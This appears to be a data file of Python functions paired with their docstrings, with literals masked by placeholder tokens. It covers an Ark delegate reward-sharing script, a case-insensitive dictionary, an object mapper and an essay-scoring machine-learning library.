{"signature": "@staticmethod<EOL><INDENT>def trueshare(start_block=<NUM_LIT:0>, del_pubkey=None, del_address=None, blacklist=None, share_fees=False,<EOL>max_weight=float('<STR_LIT>')):<DEDENT>", "body": "delegate_pubkey = c.DELEGATE['<STR_LIT>']<EOL>delegate_address = c.DELEGATE['<STR_LIT>']<EOL>if del_pubkey and del_address:<EOL><INDENT>delegate_address = del_address<EOL>delegate_pubkey = del_pubkey<EOL><DEDENT>max_timestamp = Node.max_timestamp()<EOL>events = get_events(<EOL>delegate_pubkey=delegate_pubkey<EOL>)<EOL>votes = Delegate.votes(delegate_pubkey)<EOL>voter_dict = {}<EOL>for voter in votes:<EOL><INDENT>voter_dict.update({voter.address: {<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT:status>': False,<EOL>'<STR_LIT>': voter.timestamp,<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT>': voter.timestamp,<EOL>'<STR_LIT>': []}<EOL>})<EOL><DEDENT>try:<EOL><INDENT>for i in blacklist:<EOL><INDENT>voter_dict.pop(i)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>last_payout = Delegate.lastpayout(delegate_address)<EOL>for payout in last_payout:<EOL><INDENT>try:<EOL><INDENT>voter_dict[payout.address]['<STR_LIT>'] = payout.timestamp<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>blocks = Delegate.blocks(delegate_pubkey)<EOL>block_nr = start_block<EOL>chunk_dict = {}<EOL>reuse = False<EOL>try:<EOL><INDENT>for e in events:<EOL><INDENT>while e.timestamp > blocks[block_nr].timestamp:<EOL><INDENT>if reuse:<EOL><INDENT>block_nr += <NUM_LIT:1><EOL>for x in chunk_dict:<EOL><INDENT>voter_dict[x]['<STR_LIT>'] += chunk_dict[x]<EOL><DEDENT>continue<EOL><DEDENT>block_nr += <NUM_LIT:1><EOL>poolbalance = <NUM_LIT:0><EOL>chunk_dict = {}<EOL>for i in voter_dict:<EOL><INDENT>balance = voter_dict[i]['<STR_LIT>']<EOL>if balance > max_weight:<EOL><INDENT>balance = max_weight<EOL><DEDENT>if voter_dict[i]['<STR_LIT:status>']:<EOL><INDENT>if voter_dict[i]['<STR_LIT>'] >= <NUM_LIT:0>:<EOL><INDENT>poolbalance += balance<EOL><DEDENT>else:<EOL><INDENT>print(voter_dict[i])<EOL>raise NegativeBalanceError('<STR_LIT>'.format(i))<EOL><DEDENT><DEDENT><DEDENT>for i in voter_dict:<EOL><INDENT>balance = voter_dict[i]['<STR_LIT>']<EOL>if voter_dict[i]['<STR_LIT:status>'] and voter_dict[i]['<STR_LIT>'] < blocks[block_nr].timestamp:<EOL><INDENT>if share_fees:<EOL><INDENT>share = (balance / poolbalance) * (blocks[block_nr].reward +<EOL>blocks[block_nr].totalFee)<EOL><DEDENT>else:<EOL><INDENT>share = (balance / poolbalance) * blocks[block_nr].reward<EOL><DEDENT>voter_dict[i]['<STR_LIT>'] += share<EOL>chunk_dict.update({i: share})<EOL><DEDENT><DEDENT>reuse = True<EOL><DEDENT>minvote = '<STR_LIT>'.format(delegate_pubkey)<EOL>plusvote = '<STR_LIT>'.format(delegate_pubkey)<EOL>reuse = False<EOL>if e.type != <NUM_LIT:100>:<EOL><INDENT>if e.recipientId in voter_dict:<EOL><INDENT>voter_dict[e.recipientId]['<STR_LIT>'] += e.amount<EOL><DEDENT>if e.senderId in voter_dict:<EOL><INDENT>voter_dict[e.senderId]['<STR_LIT>'] -= (e.amount + e.fee)<EOL><DEDENT>if e.senderId in voter_dict and e.type == <NUM_LIT:3> and plusvote in e.raw:<EOL><INDENT>voter_dict[e.senderId]['<STR_LIT:status>'] = True<EOL><DEDENT>if e.senderId in voter_dict and e.type == <NUM_LIT:3> and minvote in e.raw:<EOL><INDENT>voter_dict[e.senderId]['<STR_LIT:status>'] = False<EOL><DEDENT><DEDENT>elif e.type == <NUM_LIT:100>:<EOL><INDENT>if e.recipientId in voter_dict:<EOL><INDENT>voter_dict[e.recipientId]['<STR_LIT>'] += e.amount + e.fee<EOL><DEDENT><DEDENT><DEDENT>remaining_blocks = len(blocks) - block_nr - <NUM_LIT:1><EOL>for i in range(remaining_blocks):<EOL><INDENT>for x in chunk_dict:<EOL><INDENT>voter_dict[x]['<STR_LIT>'] += chunk_dict[x]<EOL><DEDENT><DEDENT><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT>for i in voter_dict:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(<EOL>i,<EOL>voter_dict[i]['<STR_LIT>'],<EOL>voter_dict[i]['<STR_LIT:status>'],<EOL>voter_dict[i]['<STR_LIT>'],<EOL>voter_dict[i]['<STR_LIT>']))<EOL><DEDENT>return voter_dict, max_timestamp<EOL>", "docstring": "Legacy TBW script (still pretty performant, but has some quirky behavior when forging delegates are amongst\nyour voters)\n\n:param int start_block: block from which we start adding to the share (we calculate balances from block 0 anyways)\n:param str del_pubkey: delegate public key as is presented in the ark wallet\n:param str del_address: delegate address\n:param list blacklist: blacklist for addresses to be removed BEFORE calculation. Their share is removed from the pool balance\n:param bool share_fees: if tx fees should be shared as well.\n:param float max_weight: max_balance of a voter", "id": "f7950:c11:m8"}
{"signature": "def clear(self):", "body": "self._data.clear()<EOL>", "docstring": "Removes all items from dictionary", "id": "f7956:c0:m7"}
{"signature": "def get(self, key, default=_sentinel):", "body": "tup = self._data.get(key.lower())<EOL>if tup is not None:<EOL><INDENT>return tup[<NUM_LIT:1>]<EOL><DEDENT>elif default is not _sentinel:<EOL><INDENT>return default<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Gets the value from the key.\nIf the key doesn't exist, the default value is returned, otherwise None.\n\n:param key: The key\n:param default: The default value\n:return: The value", "id": "f7956:c0:m8"}
{"signature": "def pop(self, key, default=_sentinel):", "body": "if default is not _sentinel:<EOL><INDENT>tup = self._data.pop(key.lower(), default)<EOL><DEDENT>else:<EOL><INDENT>tup = self._data.pop(key.lower())<EOL><DEDENT>if tup is not default:<EOL><INDENT>return tup[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Removes the specified key and returns the corresponding value.\nIf key is not found, the default is returned if given, otherwise KeyError is raised.\n\n:param key: The key\n:param default: The default value\n:return: The value", "id": "f7956:c0:m9"}
{"signature": "def __init__(self):", "body": "<EOL>self.mappings = {}<EOL>pass<EOL>", "docstring": "Constructor\n\n        Args:\n          mappings: dictionary of the attribute conversions\n\n        Examples:\n\n            1. Mapping of the properties without mapping definition\n            In this case are mapped only these properties of the target class which\n            are in target and source classes. Other properties are not mapped.\n            Suppose we have class 'A' with attributes 'name' and 'last_name'\n            and class 'B' with attribute 'name'.\n            Initialization of the ObjectMapper will be:\n            mapper = ObjectMapper()\n            mapper.create_map(A, B)\n            instance_b = mapper.map(A(), B)\n\n            In this case, value of A.name will be copied into B.name.\n\n            2. Mapping with defined mapping functions\n            Suppose we have class 'A' with attributes 'first_name' and 'last_name'\n            , class 'B' with attribute 'full_name' and class 'C' with attribute reverse_name.\n            And want to map it in a way 'B.full_name' = 'A.first_name' + 'A.last_name' and\n            'C.reverse_name' = 'A.last_name' + 'A.first_name'\n            Initialization of the ObjectMapper will be:\n            mapper = ObjectMapper()\n            mapper.create_map(A, B, {'name': lambda a : a.first_name + \" \" + a.last_name})\n            mapper.create_map(A, C, {'name': lambda a : a.last_name + \" \" + a.first_name})\n\n            instance_b = mapper.map(A(), B)\n            instance_c = mapper.map(A(), C)\n\n            In this case, to the B.name will be mapped A.first_name + \" \" + A.last_name\n            In this case, to the C.name will be mapped A.last_name + \" \" + A.first_name\n\n            3. Mapping suppression\n            For some purposes, it can be needed to suppress some mapping.\n            Suppose we have class 'A' with attributes 'name' and 'last_name'\n            and class 'B' with attributes 'name' and 'last_name'.\n            And we want to map only the A.name into B.name, but not A.last_name to\n            b.last_name\n            Initialization of the ObjectMapper will be:\n            mapper = ObjectMapper()\n            mapper.create_map(A, B, {'last_name': None})\n\n            instance_b = mapper.map(A(), B)\n\n            In this case, value of A.name will be copied into B.name automatically by the attribute name 'name'.\n            Attribute A.last_name will be not mapped thanks the suppression (lambda function is None).\n\n            4. Case insensitive mapping\n            Suppose we have class 'A' with attributes 'Name' and 'Age' and\n            class 'B' with attributes 'name' and 'age' and we want to map 'A' to 'B' in a way\n            'A.Name' = 'B.name' and 'A.Age' = 'B.age'\n            Initialization of the ObjectMapper will be:\n            mapper = ObjectMapper()\n            mapper.create_map(A, B)\n            instance_b = mapper.map(A(), B, ignore_case=True)\n\n            In this case, the value of A.Name will be copied into B.name and\n            the value of A.Age will be copied into B.age.\n\n        :return: Instance of the ObjectMapper", "id": "f7957:c0:m0"}
{"signature": "def create_map(self, type_from, type_to, mapping=None):", "body": "key_from = type_from.__name__<EOL>key_to = type_to.__name__<EOL>if mapping is None:<EOL><INDENT>mapping = {}<EOL><DEDENT>if key_from in self.mappings:<EOL><INDENT>inner_map = self.mappings[key_from]<EOL>if key_to in inner_map:<EOL><INDENT>raise ObjectMapperException(\"<STR_LIT>\".format(key_from, key_to))<EOL><DEDENT>else:<EOL><INDENT>inner_map[key_to] = mapping<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.mappings[key_from] = {}<EOL>self.mappings[key_from][key_to] = mapping<EOL><DEDENT>", "docstring": "Method for adding mapping definitions\n\n        :param type_from: source type\n        :param type_to: target type\n        :param mapping: dictionary of mapping definitions in a form {'target_property_name',\n                        lambda function from rhe source}\n\n        :return: None", "id": "f7957:c0:m1"}
{"signature": "def map(self, from_obj, to_type, ignore_case=False, allow_none=False, excluded=None):", "body": "if (from_obj is None) and allow_none:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>from_obj.__dict__<EOL><DEDENT>inst = to_type()<EOL>key_from = from_obj.__class__.__name__<EOL>key_to = to_type.__name__<EOL>def not_private(s):<EOL><INDENT>return not s.startswith('<STR_LIT:_>')<EOL><DEDENT>def not_excluded(s):<EOL><INDENT>return not (excluded and s in excluded)<EOL><DEDENT>from_obj_attributes = getmembers(from_obj, lambda a: not isroutine(a))<EOL>from_obj_dict = {k: v for k, v in from_obj_attributes<EOL>if not_private(k) and not_excluded(k)}<EOL>to_obj_attributes = getmembers(inst, lambda a: not isroutine(a))<EOL>to_obj_dict = {k: v for k, v in to_obj_attributes if not_private(k)}<EOL>if ignore_case:<EOL><INDENT>from_props = CaseDict(from_obj_dict)<EOL>to_props = CaseDict(to_obj_dict)<EOL><DEDENT>else:<EOL><INDENT>from_props = from_obj_dict<EOL>to_props = to_obj_dict<EOL><DEDENT>for prop in to_props:<EOL><INDENT>if self.mappings is not Noneand key_from in self.mappingsand key_to in self.mappings[key_from]:<EOL><INDENT>if prop in self.mappings[key_from][key_to]:<EOL><INDENT>try:<EOL><INDENT>fnc = self.mappings[key_from][key_to][prop]<EOL>if fnc is not None:<EOL><INDENT>setattr(inst, prop, fnc(from_obj))<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>raise ObjectMapperException(\"<STR_LIT>\".<EOL>format(inst.__class__.__name__, prop))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if prop in from_props:<EOL><INDENT>setattr(inst, prop, from_props[prop])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise ObjectMapperException(\"<STR_LIT>\".format(key_from, key_to))<EOL><DEDENT><DEDENT>return inst<EOL>", "docstring": "Method for creating target object instance\n\n        :param from_obj: source object to be mapped from\n        :param to_type: target type\n        :param ignore_case: if set to true, ignores attribute case when performing the mapping\n        :param allow_none: if set to true, returns None if the source object is None; otherwise throws an exception\n        :param excluded: A list of fields to exclude when performing the mapping\n\n        :return: Instance of the target class with mapped attributes", "id": "f7957:c0:m2"}
{"signature": "def create(text,score,prompt_string, dump_data=False):", "body": "if dump_data:<EOL><INDENT>dump_input_data(text, score)<EOL><DEDENT>algorithm = select_algorithm(score)<EOL>results = {'<STR_LIT>': [],'<STR_LIT:success>' : False, '<STR_LIT>' : <NUM_LIT:0>, '<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>' : \"<STR_LIT>\", '<STR_LIT>' : \"<STR_LIT>\", '<STR_LIT>' : algorithm,<EOL>'<STR_LIT>' : score, '<STR_LIT:text>' : text, '<STR_LIT>' : prompt_string}<EOL>if len(text)!=len(score):<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>results['<STR_LIT>'].append(msg)<EOL>log.exception(msg)<EOL>return results<EOL><DEDENT>try:<EOL><INDENT>e_set = model_creator.create_essay_set(text, score, prompt_string)<EOL><DEDENT>except:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>results['<STR_LIT>'].append(msg)<EOL>log.exception(msg)<EOL><DEDENT>try:<EOL><INDENT>feature_ext, classifier, cv_error_results = model_creator.extract_features_and_generate_model(e_set, algorithm = algorithm)<EOL>results['<STR_LIT>']=cv_error_results['<STR_LIT>']<EOL>results['<STR_LIT>']=cv_error_results['<STR_LIT>']<EOL>results['<STR_LIT>']=feature_ext<EOL>results['<STR_LIT>']=classifier<EOL>results['<STR_LIT>'] = algorithm<EOL>results['<STR_LIT:success>']=True<EOL><DEDENT>except:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>results['<STR_LIT>'].append(msg)<EOL>log.exception(msg)<EOL><DEDENT>return results<EOL>", "docstring": "Creates a machine learning model from input text, associated scores, a prompt, and a path to the model\nTODO: Remove model path argument, it is needed for now to support legacy code\ntext - A list of strings containing the text of the essays\nscore - a list of integers containing score values\nprompt_string - the common prompt for the set of essays", "id": "f7960:m1"}
{"signature": "def create_generic(numeric_values, textual_values, target, algorithm = util_functions.AlgorithmTypes.regression):", "body": "algorithm = select_algorithm(target)<EOL>results = {'<STR_LIT>': [],'<STR_LIT:success>' : False, '<STR_LIT>' : <NUM_LIT:0>, '<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>' : \"<STR_LIT>\", '<STR_LIT>' : \"<STR_LIT>\", '<STR_LIT>' : algorithm}<EOL>if len(numeric_values)!=len(textual_values) or len(numeric_values)!=len(target):<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>results['<STR_LIT>'].append(msg)<EOL>log.exception(msg)<EOL>return results<EOL><DEDENT>try:<EOL><INDENT>pset = predictor_set.PredictorSet(essaytype=\"<STR_LIT:train>\")<EOL>for i in xrange(<NUM_LIT:0>, len(numeric_values)):<EOL><INDENT>pset.add_row(numeric_values[i], textual_values[i], target[i])<EOL><DEDENT><DEDENT>except:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>results['<STR_LIT>'].append(msg)<EOL>log.exception(msg)<EOL><DEDENT>try:<EOL><INDENT>feature_ext, classifier, cv_error_results = model_creator.extract_features_and_generate_model_predictors(pset, algorithm)<EOL>results['<STR_LIT>']=cv_error_results['<STR_LIT>']<EOL>results['<STR_LIT>']=cv_error_results['<STR_LIT>']<EOL>results['<STR_LIT>']=feature_ext<EOL>results['<STR_LIT>']=classifier<EOL>results['<STR_LIT:success>']=True<EOL><DEDENT>except:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>results['<STR_LIT>'].append(msg)<EOL>log.exception(msg)<EOL><DEDENT>return results<EOL>", "docstring": "Creates a model from a generic list numeric values and text values\nnumeric_values - A list of lists that are the predictors\ntextual_values - A list of lists that are the predictors\n(each item in textual_values corresponds to the similarly indexed counterpart in numeric_values)\ntarget - The variable that we are trying to predict.  A list of integers.\nalgorithm - the type of algorithm that will be used", "id": "f7960:m2"}
{"signature": "def create_essay_set(text, score, prompt_string, generate_additional=True):", "body": "x = EssaySet()<EOL>for i in xrange(<NUM_LIT:0>, len(text)):<EOL><INDENT>x.add_essay(text[i], score[i])<EOL>if score[i] == min(score) and generate_additional == True:<EOL><INDENT>x.generate_additional_essays(x._clean_text[len(x._clean_text) - <NUM_LIT:1>], score[i])<EOL><DEDENT><DEDENT>x.update_prompt(prompt_string)<EOL>return x<EOL>", "docstring": "Creates an essay set from given data.\nText should be a list of strings corresponding to essay text.\nScore should be a list of scores where score[n] corresponds to text[n]\nPrompt string is just a string containing the essay prompt.\nGenerate_additional indicates whether to generate additional essays at the minimum score point or not.", "id": "f7961:m3"}
{"signature": "def get_cv_error(clf,feats,scores):", "body": "results={'<STR_LIT:success>' : False, '<STR_LIT>' : <NUM_LIT:0>, '<STR_LIT>' : <NUM_LIT:0>}<EOL>try:<EOL><INDENT>cv_preds=util_functions.gen_cv_preds(clf,feats,scores)<EOL>err=numpy.mean(numpy.abs(numpy.array(cv_preds)-scores))<EOL>kappa=util_functions.quadratic_weighted_kappa(list(cv_preds),scores)<EOL>results['<STR_LIT>']=err<EOL>results['<STR_LIT>']=kappa<EOL>results['<STR_LIT:success>']=True<EOL><DEDENT>except ValueError as ex:<EOL><INDENT>msg = u\"<STR_LIT>\".format(ex=ex)<EOL>log.debug(msg)<EOL><DEDENT>except:<EOL><INDENT>log.exception(\"<STR_LIT>\")<EOL><DEDENT>return results<EOL>", "docstring": "Gets cross validated error for a given classifier, set of features, and scores\nclf - classifier\nfeats - features to feed into the classified and cross validate over\nscores - scores associated with the features -- feature row 1 associates with score 1, etc.", "id": "f7961:m4"}
{"signature": "def get_algorithms(algorithm):", "body": "if algorithm == util_functions.AlgorithmTypes.classification:<EOL><INDENT>clf = sklearn.ensemble.GradientBoostingClassifier(n_estimators=<NUM_LIT:100>, learn_rate=<NUM_LIT>,<EOL>max_depth=<NUM_LIT:4>, random_state=<NUM_LIT:1>,min_samples_leaf=<NUM_LIT:3>)<EOL>clf2=sklearn.ensemble.GradientBoostingClassifier(n_estimators=<NUM_LIT:100>, learn_rate=<NUM_LIT>,<EOL>max_depth=<NUM_LIT:4>, random_state=<NUM_LIT:1>,min_samples_leaf=<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>clf = sklearn.ensemble.GradientBoostingRegressor(n_estimators=<NUM_LIT:100>, learn_rate=<NUM_LIT>,<EOL>max_depth=<NUM_LIT:4>, random_state=<NUM_LIT:1>,min_samples_leaf=<NUM_LIT:3>)<EOL>clf2=sklearn.ensemble.GradientBoostingRegressor(n_estimators=<NUM_LIT:100>, learn_rate=<NUM_LIT>,<EOL>max_depth=<NUM_LIT:4>, random_state=<NUM_LIT:1>,min_samples_leaf=<NUM_LIT:3>)<EOL><DEDENT>return clf, clf2<EOL>", "docstring": "Gets two classifiers for each type of algorithm, and returns them.  First for predicting, second for cv error.\ntype - one of util_functions.AlgorithmTypes", "id": "f7961:m5"}
{"signature": "def extract_features_and_generate_model_predictors(predictor_set, algorithm=util_functions.AlgorithmTypes.regression):", "body": "if(algorithm not in [util_functions.AlgorithmTypes.regression, util_functions.AlgorithmTypes.classification]):<EOL><INDENT>algorithm = util_functions.AlgorithmTypes.regression<EOL><DEDENT>f = predictor_extractor.PredictorExtractor()<EOL>f.initialize_dictionaries(predictor_set)<EOL>train_feats = f.gen_feats(predictor_set)<EOL>clf,clf2 = get_algorithms(algorithm)<EOL>cv_error_results=get_cv_error(clf2,train_feats,predictor_set._target)<EOL>try:<EOL><INDENT>set_score = numpy.asarray(predictor_set._target, dtype=numpy.int)<EOL>clf.fit(train_feats, set_score)<EOL><DEDENT>except ValueError:<EOL><INDENT>log.exception(\"<STR_LIT>\")<EOL>set_score = predictor_set._target<EOL>set_score[<NUM_LIT:0>]=<NUM_LIT:1><EOL>set_score[<NUM_LIT:1>]=<NUM_LIT:0><EOL>clf.fit(train_feats, set_score)<EOL><DEDENT>return f, clf, cv_error_results<EOL>", "docstring": "Extracts features and generates predictors based on a given predictor set\npredictor_set - a PredictorSet object that has been initialized with data\ntype - one of util_functions.AlgorithmType", "id": "f7961:m6"}
{"signature": "def extract_features_and_generate_model(essays, algorithm=util_functions.AlgorithmTypes.regression):", "body": "f = feature_extractor.FeatureExtractor()<EOL>f.initialize_dictionaries(essays)<EOL>train_feats = f.gen_feats(essays)<EOL>set_score = numpy.asarray(essays._score, dtype=numpy.int)<EOL>if len(util_functions.f7(list(set_score)))><NUM_LIT:5>:<EOL><INDENT>algorithm = util_functions.AlgorithmTypes.regression<EOL><DEDENT>else:<EOL><INDENT>algorithm = util_functions.AlgorithmTypes.classification<EOL><DEDENT>clf,clf2 = get_algorithms(algorithm)<EOL>cv_error_results=get_cv_error(clf2,train_feats,essays._score)<EOL>try:<EOL><INDENT>clf.fit(train_feats, set_score)<EOL><DEDENT>except ValueError:<EOL><INDENT>log.exception(\"<STR_LIT>\")<EOL>set_score[<NUM_LIT:0>]=<NUM_LIT:1><EOL>set_score[<NUM_LIT:1>]=<NUM_LIT:0><EOL>clf.fit(train_feats, set_score)<EOL><DEDENT>return f, clf, cv_error_results<EOL>", "docstring": "Feed in an essay set to get feature vector and classifier\nessays must be an essay set object\nadditional array is an optional argument that can specify\na numpy array of values to add in\nreturns a trained FeatureExtractor object and a trained classifier", "id": "f7961:m7"}
{"signature": "def dump_model_to_file(prompt_string, feature_ext, classifier, text, score, model_path):", "body": "model_file = {'<STR_LIT>': prompt_string, '<STR_LIT>': feature_ext, '<STR_LIT>': classifier, '<STR_LIT:text>' : text, '<STR_LIT>' : score}<EOL>pickle.dump(model_file, file=open(model_path, \"<STR_LIT:w>\"))<EOL>", "docstring": "Writes out a model to a file.\nprompt string is a string containing the prompt\nfeature_ext is a trained FeatureExtractor object\nclassifier is a trained classifier\nmodel_path is the path of write out the model file to", "id": "f7961:m8"}
{"signature": "def create_essay_set_and_dump_model(text,score,prompt,model_path,additional_array=None):", "body": "essay_set=create_essay_set(text,score,prompt)<EOL>feature_ext,clf=extract_features_and_generate_model(essay_set,additional_array)<EOL>dump_model_to_file(prompt,feature_ext,clf,model_path)<EOL>", "docstring": "Function that creates essay set, extracts features, and writes out model\nSee above functions for argument descriptions", "id": "f7961:m9"}
{"signature": "def load_data(self):", "body": "pass<EOL>", "docstring": "Override when inheriting", "id": "f7963:c0:m2"}
{"signature": "def initialize_dictionaries(self, e_set, max_feats2 = <NUM_LIT:200>):", "body": "if(hasattr(e_set, '<STR_LIT>')):<EOL><INDENT>if(e_set._type == \"<STR_LIT:train>\"):<EOL><INDENT>nvocab = util_functions.get_vocab(e_set._text, e_set._score, max_feats2 = max_feats2)<EOL>svocab = util_functions.get_vocab(e_set._clean_stem_text, e_set._score, max_feats2 = max_feats2)<EOL>self._normal_dict = CountVectorizer(ngram_range=(<NUM_LIT:1>,<NUM_LIT:2>), vocabulary=nvocab)<EOL>self._stem_dict = CountVectorizer(ngram_range=(<NUM_LIT:1>,<NUM_LIT:2>), vocabulary=svocab)<EOL>self.dict_initialized = True<EOL>self._mean_spelling_errors=sum(e_set._spelling_errors)/float(len(e_set._spelling_errors))<EOL>self._spell_errors_per_character=sum(e_set._spelling_errors)/float(sum([len(t) for t in e_set._text]))<EOL>good_pos_tags,bad_pos_positions=self._get_grammar_errors(e_set._pos,e_set._text,e_set._tokens)<EOL>self._grammar_errors_per_character=(sum(good_pos_tags)/float(sum([len(t) for t in e_set._text])))<EOL>bag_feats=self.gen_bag_feats(e_set)<EOL>f_row_sum=numpy.sum(bag_feats[:,:])<EOL>self._mean_f_prop=f_row_sum/float(sum([len(t) for t in e_set._text]))<EOL>ret = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>raise util_functions.InputError(e_set, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise util_functions.InputError(e_set, \"<STR_LIT>\")<EOL><DEDENT>return ret<EOL>", "docstring": "Initializes dictionaries from an essay set object\nDictionaries must be initialized prior to using this to extract features\ne_set is an input essay set\nreturns a confirmation of initialization", "id": "f7965:c0:m1"}
{"signature": "def get_good_pos_ngrams(self):", "body": "if(os.path.isfile(NGRAM_PATH)):<EOL><INDENT>good_pos_ngrams = pickle.load(open(NGRAM_PATH, '<STR_LIT:rb>'))<EOL><DEDENT>elif os.path.isfile(ESSAY_CORPUS_PATH):<EOL><INDENT>essay_corpus = open(ESSAY_CORPUS_PATH).read()<EOL>essay_corpus = util_functions.sub_chars(essay_corpus)<EOL>good_pos_ngrams = util_functions.regenerate_good_tokens(essay_corpus)<EOL>pickle.dump(good_pos_ngrams, open(NGRAM_PATH, '<STR_LIT:wb>'))<EOL><DEDENT>else:<EOL><INDENT>good_pos_ngrams=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>']<EOL><DEDENT>return set(good_pos_ngrams)<EOL>", "docstring": "Gets a set of gramatically correct part of speech sequences from an input file called essaycorpus.txt\nReturns the set and caches the file", "id": "f7965:c0:m2"}
{"signature": "def _get_grammar_errors(self,pos,text,tokens):", "body": "word_counts = [max(len(t),<NUM_LIT:1>) for t in tokens]<EOL>good_pos_tags = []<EOL>min_pos_seq=<NUM_LIT:2><EOL>max_pos_seq=<NUM_LIT:4><EOL>bad_pos_positions=[]<EOL>for i in xrange(<NUM_LIT:0>, len(text)):<EOL><INDENT>pos_seq = [tag[<NUM_LIT:1>] for tag in pos[i]]<EOL>pos_ngrams = util_functions.ngrams(pos_seq, min_pos_seq, max_pos_seq)<EOL>long_pos_ngrams=[z for z in pos_ngrams if z.count('<STR_LIT:U+0020>')==(max_pos_seq-<NUM_LIT:1>)]<EOL>bad_pos_tuples=[[z,z+max_pos_seq] for z in xrange(<NUM_LIT:0>,len(long_pos_ngrams)) if long_pos_ngrams[z] not in self._good_pos_ngrams]<EOL>bad_pos_tuples.sort(key=operator.itemgetter(<NUM_LIT:1>))<EOL>to_delete=[]<EOL>for m in reversed(xrange(len(bad_pos_tuples)-<NUM_LIT:1>)):<EOL><INDENT>start, end = bad_pos_tuples[m]<EOL>for j in xrange(m+<NUM_LIT:1>, len(bad_pos_tuples)):<EOL><INDENT>lstart, lend = bad_pos_tuples[j]<EOL>if lstart >= start and lstart <= end:<EOL><INDENT>bad_pos_tuples[m][<NUM_LIT:1>]=bad_pos_tuples[j][<NUM_LIT:1>]<EOL>to_delete.append(j)<EOL><DEDENT><DEDENT><DEDENT>fixed_bad_pos_tuples=[bad_pos_tuples[z] for z in xrange(<NUM_LIT:0>,len(bad_pos_tuples)) if z not in to_delete]<EOL>bad_pos_positions.append(fixed_bad_pos_tuples)<EOL>overlap_ngrams = [z for z in pos_ngrams if z in self._good_pos_ngrams]<EOL>if (len(pos_ngrams)-len(overlap_ngrams))><NUM_LIT:0>:<EOL><INDENT>divisor=len(pos_ngrams)/len(pos_seq)<EOL><DEDENT>else:<EOL><INDENT>divisor=<NUM_LIT:1><EOL><DEDENT>if divisor == <NUM_LIT:0>:<EOL><INDENT>divisor=<NUM_LIT:1><EOL><DEDENT>good_grammar_ratio = (len(pos_ngrams)-len(overlap_ngrams))/divisor<EOL>good_pos_tags.append(good_grammar_ratio)<EOL><DEDENT>return good_pos_tags,bad_pos_positions<EOL>", "docstring": "Internal function to get the number of grammar errors in given text\npos - part of speech tagged text (list)\ntext - normal text (list)\ntokens - list of lists of tokenized text", "id": "f7965:c0:m3"}
{"signature": "def gen_length_feats(self, e_set):", "body": "text = e_set._text<EOL>lengths = [len(e) for e in text]<EOL>word_counts = [max(len(t),<NUM_LIT:1>) for t in e_set._tokens]<EOL>comma_count = [e.count(\"<STR_LIT:U+002C>\") for e in text]<EOL>ap_count = [e.count(\"<STR_LIT:'>\") for e in text]<EOL>punc_count = [e.count(\"<STR_LIT:.>\") + e.count(\"<STR_LIT:?>\") + e.count(\"<STR_LIT:!>\") for e in text]<EOL>chars_per_word = [lengths[m] / float(word_counts[m]) for m in xrange(<NUM_LIT:0>, len(text))]<EOL>good_pos_tags,bad_pos_positions= self._get_grammar_errors(e_set._pos,e_set._text,e_set._tokens)<EOL>good_pos_tag_prop = [good_pos_tags[m] / float(word_counts[m]) for m in xrange(<NUM_LIT:0>, len(text))]<EOL>length_arr = numpy.array((<EOL>lengths, word_counts, comma_count, ap_count, punc_count, chars_per_word, good_pos_tags,<EOL>good_pos_tag_prop)).transpose()<EOL>return length_arr.copy()<EOL>", "docstring": "Generates length based features from an essay set\nGenerally an internal function called by gen_feats\nReturns an array of length features\ne_set - EssaySet object", "id": "f7965:c0:m4"}
{"signature": "def gen_bag_feats(self, e_set):", "body": "if(hasattr(self, '<STR_LIT>')):<EOL><INDENT>sfeats = self._stem_dict.transform(e_set._clean_stem_text)<EOL>nfeats = self._normal_dict.transform(e_set._text)<EOL>bag_feats = numpy.concatenate((sfeats.toarray(), nfeats.toarray()), axis=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>raise util_functions.InputError(self, \"<STR_LIT>\")<EOL><DEDENT>return bag_feats.copy()<EOL>", "docstring": "Generates bag of words features from an input essay set and trained FeatureExtractor\nGenerally called by gen_feats\nReturns an array of features\ne_set - EssaySet object", "id": "f7965:c0:m5"}
